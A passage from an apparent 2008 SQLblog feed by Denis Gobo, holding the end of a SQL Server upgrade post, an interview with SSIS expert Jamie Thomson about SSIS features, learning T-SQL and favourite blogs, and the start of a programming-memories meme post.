&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face="Times New Roman" size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face="Times New Roman" size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face="Times New Roman" size=3&gt;What can you say to that? BTW this is not the only time; another person asked me how I knew his tables were fragmented.&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face="Times New Roman" size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face="Times New Roman" size=3&gt;Anyway enjoy the upgrade to SQL Server 2008, you won't be bored.&lt;SPAN style="mso-spacerun:yes;"&gt;&amp;nbsp; &lt;/SPAN&gt;:-)&lt;/FONT&gt;&lt;/P&gt;
&lt;BR&gt;&lt;div class = "shareblock"&gt;&lt;span class = "shareblockTitle"&gt;Share this post:&lt;/span&gt;&lt;span class = "shareblockLink"&gt; &lt;a href = "mailto:?subject=If you are upgrading from SQL Server 2000 to 2008 and you never touched SQL Server 2005, then I feel sorry for you&amp;amp;body=Seen on SQLblog.com: %0A%0A%09If you are upgrading from SQL Server 2000 to 2008 and you never touched SQL Server 2005, then I feel sorry for you%0A%0Ahttp://sqlblog.com/blogs/denis_gobo/archive/2008/07/09/7753.aspx" target="_blank" title = "Email If you are upgrading from SQL Server 2000 to 2008 and you never touched SQL Server 2005, then I feel sorry for you"&gt;email it!&lt;/a&gt; |  &lt;a href = "http://del.icio.us/post?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/09/7753.aspx&amp;amp;title=If+you+are+upgrading+from+SQL+Server+2000+to+2008+and+you+never+touched+SQL+Server+2005%2c+then+I+feel+sorry+for+you" target="_blank" title = "Submit If you are upgrading from SQL Server 2000 to 2008 and you never touched SQL Server 2005, then I feel sorry for you to del.icio.us"&gt;bookmark it!&lt;/a&gt; |  &lt;a href = "http://www.digg.com/submit?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/09/7753.aspx&amp;amp;phase=2" target="_blank" title = "Submit If you are upgrading from SQL Server 2000 to 2008 and you never touched SQL Server 2005, then I feel sorry for you to digg.com"&gt;digg it!&lt;/a&gt; |  &lt;a href = "http://reddit.com/submit?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/09/7753.aspx&amp;amp;title=If+you+are+upgrading+from+SQL+Server+2000+to+2008+and+you+never+touched+SQL+Server+2005%2c+then+I+feel+sorry+for+you" target="_blank" title = "Submit If you are upgrading from SQL Server 2000 to 2008 and you never touched SQL Server 2005, then I feel sorry for you to reddit.com"&gt;reddit!&lt;/a&gt; |  &lt;a href = "http://www.dotnetkicks.com/submit/?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/09/7753.aspx&amp;amp;title=If+you+are+upgrading+from+SQL+Server+2000+to+2008+and+you+never+touched+SQL+Server+2005%2c+then+I+feel+sorry+for+you" target="_blank" title = "Submit If you are upgrading from SQL Server 2000 to 2008 and you never touched SQL Server 2005, then I feel sorry for you to DotNetKicks"&gt;kick it!&lt;/a&gt; |  &lt;a href = "https://favorites.live.com/quickadd.aspx?marklet=1&amp;amp;mkt=en-us&amp;amp;url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/09/7753.aspx&amp;amp;title=If+you+are+upgrading+from+SQL+Server+2000+to+2008+and+you+never+touched+SQL+Server+2005%2c+then+I+feel+sorry+for+you&amp;amp;;top=1" target="_blank" title = "Add If you are upgrading from SQL Server 2000 to 2008 and you never touched SQL Server 2005, then I feel sorry for you to Live Bookmarks"&gt;live it!&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;img src="http://info.sqlblog.com/a.aspx?ZoneID=0&amp;BannerID=12&amp;AdvertiserID=1&amp;CampaignID=12&amp;Task=Get&amp;Mode=TEXT&amp;SiteID=1&amp;RandomNumber=463323" width="1" height="1" border="0"&gt;&lt;img src="http://sqlblog.com/aggbug.aspx?PostID=7753" width="1" height="1"&gt;</content><author><name>Denis Gobo</name><uri>http://sqlblog.com/members/Denis+Gobo.aspx</uri></author><category term="SQL Server 2008" scheme="http://sqlblog.com/blogs/denis_gobo/archive/tags/SQL+Server+2008/default.aspx" /><category term="sqL Server 2000" scheme="http://sqlblog.com/blogs/denis_gobo/archive/tags/sqL+Server+2000/default.aspx" /><category term="SQL Server 2005" scheme="http://sqlblog.com/blogs/denis_gobo/archive/tags/SQL+Server+2005/default.aspx" /><category term="Upgrading" scheme="http://sqlblog.com/blogs/denis_gobo/archive/tags/Upgrading/default.aspx" /></entry><entry><title>Interview With SSIS Guru Jamie Thomson</title><link rel="alternate" type="text/html" href="http://sqlblog.com/blogs/denis_gobo/archive/2008/07/02/7620.aspx" /><id>http://sqlblog.com/blogs/denis_gobo/archive/2008/07/02/7620.aspx</id><published>2008-07-02T14:06:00Z</published><updated>2008-07-02T14:06:00Z</updated><content type="html">&lt;P&gt;I asked&amp;nbsp;for some names of people who you would like to see interviewed here at Sqlblog and Jamie Thomson's name popped up a couple of times. I contacted Jamie and he was kind enough to take time out from his busy schedule to answer these questions.&amp;nbsp;&amp;nbsp;So, here are the questions.&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;B style="mso-bidi-font-weight:normal;"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;How excited are you about SQL Server Data Services (SSDS)?&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face=Calibri size=3&gt;I’d say that “intrigued” is more the right word as opposed to “excited”. I’ve got more than a passing interest in machinations in the internet space as well as my obvious interest in SQL Server so SSDS marries those two things up rather well. Frankly, everything that travels on the internet is data in one shape or another so I believe that the skills and experience that we as data professionals apply today in hosted database applications will serve us well when data is stored in the cloud. I don’t know when cloud storage usage will hit that upward inflexion point; five, fifteen, fifty years, who knows?; but I am convinced that it will happen eventually.&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;B style="mso-bidi-font-weight:normal;"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;What are the most important things a person can do to master SQL Server?&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&lt;SPAN style="mso-spacerun:yes;"&gt;&amp;nbsp;&lt;/SPAN&gt;Oh that’s easy to answer, although a bit corny. Just flip open your laptop and start using it. I’m a great believer that training courses and books can only take you so far in the pursuit of wisdom, if you want the knowledge to sink in then you’ve got to get on and put the theory into practise. I’ve been to many training courses and presentations in my life and to be honest a lot of what I hear has left my head before I’ve even got to the exit. SQL Server Express is free so it downloaded and start playing – that’s what I did. I’ll give you an example of what I’m talking about. I realised recently that I wasn’t completely au fait with transaction isolation levels in SQL Server so rather than digging out a book on it I opened my laptop and started hacking away and now I have a set of scripts that illustrate the theory perfectly – its definitely the best way to learn&lt;/FONT&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;B style="mso-bidi-font-weight:normal;"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;What are the most important things a person can do to master Transact-SQL?&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face=Calibri size=3&gt;As before, just start using it. Books Online is a much-maligned resource but its invaluable to have that wealth of knowledge at your fingertips so if you’re stuck on anything just hit the F1 button and you can usually find the answer after a bit of searching (it takes a while – Books Online’s search abilities aren’t the greatest). We’re also lucky in the SQL Server community that there are so many great online resources where you can ask questions and learn from people with the experience so make sure that you put those resources to good use. I started with SQLServerCentral.com which is a really useful site and the SQL Server forums on MSDN at &lt;/FONT&gt;&lt;A href="http://tinyurl.com/5pyqpg"&gt;&lt;FONT face=Calibri size=3&gt;http://tinyurl.com/5pyqpg&lt;/FONT&gt;&lt;/A&gt;&lt;FONT face=Calibri size=3&gt; &lt;SPAN style="mso-spacerun:yes;"&gt;&amp;nbsp;&lt;/SPAN&gt;are also invaluable. Not long ago I was speaking to a guy from the SSIS team that had recently joined from IBM and he said that when he joined he was taken aback at the plethora of community engagement that exists around Microsoft products. He’d never experienced anything like that at IBM.&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;B style="mso-bidi-font-weight:normal;"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;What is the most popular article on your site?&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&lt;SPAN style="mso-spacerun:yes;"&gt;&amp;nbsp;&lt;/SPAN&gt;Another easy one. Its my blog entry entitled &lt;/FONT&gt;&lt;/FONT&gt;&lt;A href="http://blogs.conchango.com/jamiethomson/archive/2006/01/05/SSIS_3A00_-Suggested-Best-Practices-and-naming-conventions.aspx"&gt;&lt;FONT face=Calibri size=3&gt;Suggested Best Practices and naming conventions&lt;/FONT&gt;&lt;/A&gt;&lt;FONT face=Calibri size=3&gt; that I published in January 2006. I’m really pleased about that too because I’m a huge proponent of employing best practices and consistent ways of working. I accepted a long time ago that there are much smarter guys than me around doing SSIS development so decided that if I could impart knowledge about the best way to accomplish something rather than covering the stuff that is really hard to do then that might be of real value. In a way that blog entry is a culmination of everything that my blog is about. Its always a work in progress as well because I’m constantly updating it; the most recent update was just last week.&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face=Calibri size=3&gt;&lt;/FONT&gt;&amp;nbsp;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face=Calibri size=3&gt;&lt;STRONG&gt;What new things in SSIS in SQL server 2008 are you looking forward to?&lt;/STRONG&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face=Calibri size=3&gt;The new Lookup component in SSIS 2008 is a vast improvement on the old one in my opinion so I would probably plump for that. Its a painstaking experience to have to recharge a Lookup cache that exists in a ForEach Loop and the new Lookup component goes some way to alleviating that (although not far enough in my opinion). The fact that rows that result in a cache miss are no longer treated as errors is also a big plus. &lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;B style="mso-bidi-font-weight:normal;"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;What would you like to see in the next version of SQL Server (not 2008) in terms of SSIS?&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&lt;SPAN style="mso-spacerun:yes;"&gt;&amp;nbsp;&lt;/SPAN&gt;SSIS doesn’t have a great story around reusability. There is no real notion of “build once, use many times”. We can distribute these monolithic files called packages around, and that’s OK, but it would be great to have finer-grained control than that. I think it would be a huge step forward to be able to take, for example, a data flow and instantiate it in multiple packages. You can do that today by siphoning the dataflow into a dedicated package but that’s not an ideal solution in my book because there is an overhead involved in spinning up extra packages just for single discrete operations. On the same theme there was a feature that was slated for SSIS2008 but eventually got pushed out, that being the ability to take a group of components and instantiate them in different dataflows (aka flowlets) – I hope to see that in the next version.&lt;/FONT&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;B style="mso-bidi-font-weight:normal;"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;What SQL Server books are on your bookshelf?&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&lt;SPAN style="mso-spacerun:yes;"&gt;&amp;nbsp;&lt;/SPAN&gt;Compared to some of my peers I probably don’t have that many – I don’t think I’ve ever managed to read a textbook cover-to-cover. I have Kirk Haselden’s “SQL Server integration Services”, Brian Knight et al’s “Professional SQL Server Integration Services” and “Inside SQL Server 2005 : T-SQL Programming” by Itzik Ben Gan but they’re all gathering dust in a box somewhere. As I said before, I prefer to just get the laptop out and start hammering away with Books Online as my trusty sidekick.&lt;/FONT&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;B style="mso-bidi-font-weight:normal;"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;Do you think that DT_DBTIMESTAMP was named incorrectly, after all if you need to use timestamp you need DT_BYTES?&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&lt;SPAN style="mso-spacerun:yes;"&gt;&amp;nbsp;&lt;/SPAN&gt;I’d prefer to say that the TIMESTAMP datatype synonymn in SQL Server is a misnomer rather than DT_DBTIMESTAMP being named incorrectly..&lt;/FONT&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;B style="mso-bidi-font-weight:normal;"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;What about SSIS do you love the most?&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&lt;SPAN style="mso-spacerun:yes;"&gt;&amp;nbsp;&lt;/SPAN&gt;I think I’m on record as saying that expressions are one of my favourite features of SSIS so I guess I’d have to go with that. Yeah, I can’t imagine developing SSIS packages without expressions to be honest. “Love” is pushing a bit though. Who asked that question? J&lt;/FONT&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face=Calibri size=3&gt;What do you miss from DTS which is not available in SSIS?&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face=Calibri size=3&gt;I wasn’t a heavy user of DTS so am not really qualified to answer but I think I speak for the community when I say that the Import/Export wizard in DTS is more user-friendly than the one provided with SSIS. &lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;SPAN style="mso-spacerun:yes;"&gt;&lt;FONT face=Calibri size=3&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&amp;nbsp;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;B style="mso-bidi-font-weight:normal;"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;Why can't you overwrite an Excel file in SSIS/DTS but you can overwrite a text file?&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face=Calibri size=3&gt;I have no idea. I didn’t even know that this was the case. JET engine peculiarities perhaps?&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;SPAN style="mso-spacerun:yes;"&gt;&lt;FONT face=Calibri size=3&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&amp;nbsp;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;B style="mso-bidi-font-weight:normal;"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;Which SSIS component should be used a lot more than it is used now?&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&lt;SPAN style="mso-spacerun:yes;"&gt;&amp;nbsp;&lt;/SPAN&gt;There aren’t really any components that deserve to be used more per se because your choice of component is usually dictated by the requirement that you are trying to fulfil. Having said that I generally warn people off from using the Slowly Changing Dimension wizard in favour of Lookups so for that reason alone I would probably have to say the Lookup component.&lt;/FONT&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face=Calibri size=3&gt;Do you think that the addition of C# in SSIS is good?&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;&lt;SPAN style="mso-spacerun:yes;"&gt;&amp;nbsp;&lt;/SPAN&gt;Undoubtedly. Its always good to have options for programming languages.&lt;/FONT&gt;&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;B style="mso-bidi-font-weight:normal;"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;Name some of your favorite blogs.&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face=Calibri size=3&gt;This is hard because according to Google Reader I am subscribed to over 250 feeds. In the SQL space Bob Beauchemin’s blog is a must have as is the UK SQL community feed at &lt;/FONT&gt;&lt;A href="http://sqlblogcasts.com/blogs/"&gt;&lt;FONT face=Calibri size=3&gt;http://sqlblogcasts.com/blogs/&lt;/FONT&gt;&lt;/A&gt;&lt;FONT face=Calibri size=3&gt; &lt;SPAN style="mso-spacerun:yes;"&gt;&amp;nbsp;&lt;/SPAN&gt;and of course SQLBlog at &lt;/FONT&gt;&lt;A href="http://sqlblog.com/blogs"&gt;&lt;FONT face=Calibri color=#800080 size=3&gt;http://sqlblog.com/blogs&lt;/FONT&gt;&lt;/A&gt;&lt;FONT face=Calibri size=3&gt;. You pretty much cover the majority of the best SQL bloggers out there with those feeds. Away from SQL Server I closely follow Dare Obasanjo at &lt;/FONT&gt;&lt;A href="http://www.25hoursaday.com/weblog/"&gt;&lt;FONT face=Calibri size=3&gt;http://www.25hoursaday.com/weblog/&lt;/FONT&gt;&lt;/A&gt;&lt;FONT face=Calibri size=3&gt;, you’re always good for a bit of controversy when he writes something. Joe Gregorio (&lt;/FONT&gt;&lt;A href="http://bitworking.org/news/"&gt;&lt;FONT face=Calibri size=3&gt;http://bitworking.org/news/&lt;/FONT&gt;&lt;/A&gt;&lt;FONT face=Calibri size=3&gt;) and Sam Ruby (&lt;/FONT&gt;&lt;A href="http://intertwingly.net/blog/"&gt;&lt;FONT face=Calibri size=3&gt;http://intertwingly.net/blog/&lt;/FONT&gt;&lt;/A&gt;&lt;FONT face=Calibri size=3&gt;), even though I don’t know what they’re on about half the time, are also worth keeping an eye on. Oh, and even though I abhor the main guy that writes it, Techcrunch (&lt;/FONT&gt;&lt;A href="http://www.techcrunch.com/"&gt;&lt;FONT face=Calibri size=3&gt;www.techcrunch.com&lt;/FONT&gt;&lt;/A&gt;&lt;FONT face=Calibri size=3&gt;) is unmissable. I’d like to say Channel 9 was on my recommended list but there seems to be a dearth of SQL Server content on there in my, admittedly biased, opinion.&lt;/FONT&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;o:p&gt;&lt;FONT face=Calibri size=3&gt;&amp;nbsp;&lt;/FONT&gt;&lt;/o:p&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;B style="mso-bidi-font-weight:normal;"&gt;&lt;FONT size=3&gt;&lt;FONT face=Calibri&gt;Where can we see you in the near future? Any seminars, talks, events or books in the pipeline?&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/B&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;FONT face=Calibri size=3&gt;No, none at all. The biggest “speaking engagement” I have coming up is saying “I do” at my impending wedding to my wonderful fiancée Helen so SQL activities are on the backburner for a while.&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&amp;nbsp;&lt;/P&gt;
&lt;BR&gt;&lt;div class = "shareblock"&gt;&lt;span class = "shareblockTitle"&gt;Share this post:&lt;/span&gt;&lt;span class = "shareblockLink"&gt; &lt;a href = "mailto:?subject=Interview With SSIS Guru Jamie Thomson&amp;amp;body=Seen on SQLblog.com: %0A%0A%09Interview With SSIS Guru Jamie Thomson%0A%0Ahttp://sqlblog.com/blogs/denis_gobo/archive/2008/07/02/7620.aspx" target="_blank" title = "Email Interview With SSIS Guru Jamie Thomson"&gt;email it!&lt;/a&gt; |  &lt;a href = "http://del.icio.us/post?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/02/7620.aspx&amp;amp;title=Interview+With+SSIS+Guru+Jamie+Thomson" target="_blank" title = "Submit Interview With SSIS Guru Jamie Thomson to del.icio.us"&gt;bookmark it!&lt;/a&gt; |  &lt;a href = "http://www.digg.com/submit?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/02/7620.aspx&amp;amp;phase=2" target="_blank" title = "Submit Interview With SSIS Guru Jamie Thomson to digg.com"&gt;digg it!&lt;/a&gt; |  &lt;a href = "http://reddit.com/submit?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/02/7620.aspx&amp;amp;title=Interview+With+SSIS+Guru+Jamie+Thomson" target="_blank" title = "Submit Interview With SSIS Guru Jamie Thomson to reddit.com"&gt;reddit!&lt;/a&gt; |  &lt;a href = "http://www.dotnetkicks.com/submit/?url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/02/7620.aspx&amp;amp;title=Interview+With+SSIS+Guru+Jamie+Thomson" target="_blank" title = "Submit Interview With SSIS Guru Jamie Thomson to DotNetKicks"&gt;kick it!&lt;/a&gt; |  &lt;a href = "https://favorites.live.com/quickadd.aspx?marklet=1&amp;amp;mkt=en-us&amp;amp;url=http://sqlblog.com/blogs/denis_gobo/archive/2008/07/02/7620.aspx&amp;amp;title=Interview+With+SSIS+Guru+Jamie+Thomson&amp;amp;;top=1" target="_blank" title = "Add Interview With SSIS Guru Jamie Thomson to Live Bookmarks"&gt;live it!&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;img src="http://info.sqlblog.com/a.aspx?ZoneID=0&amp;BannerID=12&amp;AdvertiserID=1&amp;CampaignID=12&amp;Task=Get&amp;Mode=TEXT&amp;SiteID=1&amp;RandomNumber=463323" width="1" height="1" border="0"&gt;&lt;img src="http://sqlblog.com/aggbug.aspx?PostID=7620" width="1" height="1"&gt;</content><author><name>Denis Gobo</name><uri>http://sqlblog.com/members/Denis+Gobo.aspx</uri></author><category term="SSIS" scheme="http://sqlblog.com/blogs/denis_gobo/archive/tags/SSIS/default.aspx" /><category term="Interview" scheme="http://sqlblog.com/blogs/denis_gobo/archive/tags/Interview/default.aspx" /></entry><entry><title>Victim Of The Software Development Meme</title><link rel="alternate" type="text/html" href="http://sqlblog.com/blogs/denis_gobo/archive/2008/07/01/7595.aspx" /><id>http://sqlblog.com/blogs/denis_gobo/archive/2008/07/01/7595.aspx</id><published>2008-07-01T16:55:00Z</published><updated>2008-07-01T16:55:00Z</updated><content type="html">&lt;P&gt;&lt;SPAN style="FONT-SIZE:10pt;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;"&gt;&lt;A class="" href="http://sqlblog.com/blogs/andy_leonard/archive/2008/06/30/software-development-meme.aspx"&gt;Andy Leonard&lt;/A&gt; called me out on the Software Development Meme, so here goes:&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-SIZE:10pt;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;"&gt;How old were you when you first started programming?&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-WEIGHT:normal;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-bidi-font-weight:bold;"&gt;&lt;FONT size=3&gt;I was 16 and it was on a commodore 128. I still remember the GOSUB keyword :-)&lt;o:p&gt;&lt;/o:p&gt;&lt;/FONT&gt;&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/P&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-WEIGHT:normal;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-bidi-font-weight:bold;"&gt;&lt;FONT size=3&gt;&lt;o:p&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-SIZE:10pt;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;"&gt;&lt;/SPAN&gt;&lt;/STRONG&gt;&amp;nbsp;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-SIZE:10pt;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;"&gt;How did you get started in programming?&lt;o:p&gt;&lt;/o:p&gt;&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/P&gt;
&lt;P class=MsoNormal style="MARGIN:0in 0in 0pt;"&gt;&lt;STRONG&gt;&lt;SPAN style="FONT-WEIGHT:normal;FONT-FAMILY:'Calibri','sans-serif';mso-ascii-theme-font:minor-latin;mso-hansi-theme-font:minor-latin;mso-bidi-font-weight:bold;"&gt;I got a commodore for my 16&lt;SUP&gt;th&lt;/SUP&gt; birthday, at first I was mostly playing games but after a while I wanted to see how all this worked from the inside. I learned about sprites, peeks and pokes and assembly. It was a fun time, I remember staying up till the early morning trying to figure out stuff, back then there was no Google.&lt;/SPAN&gt;&lt;/STRONG&gt;&lt;/P&gt;
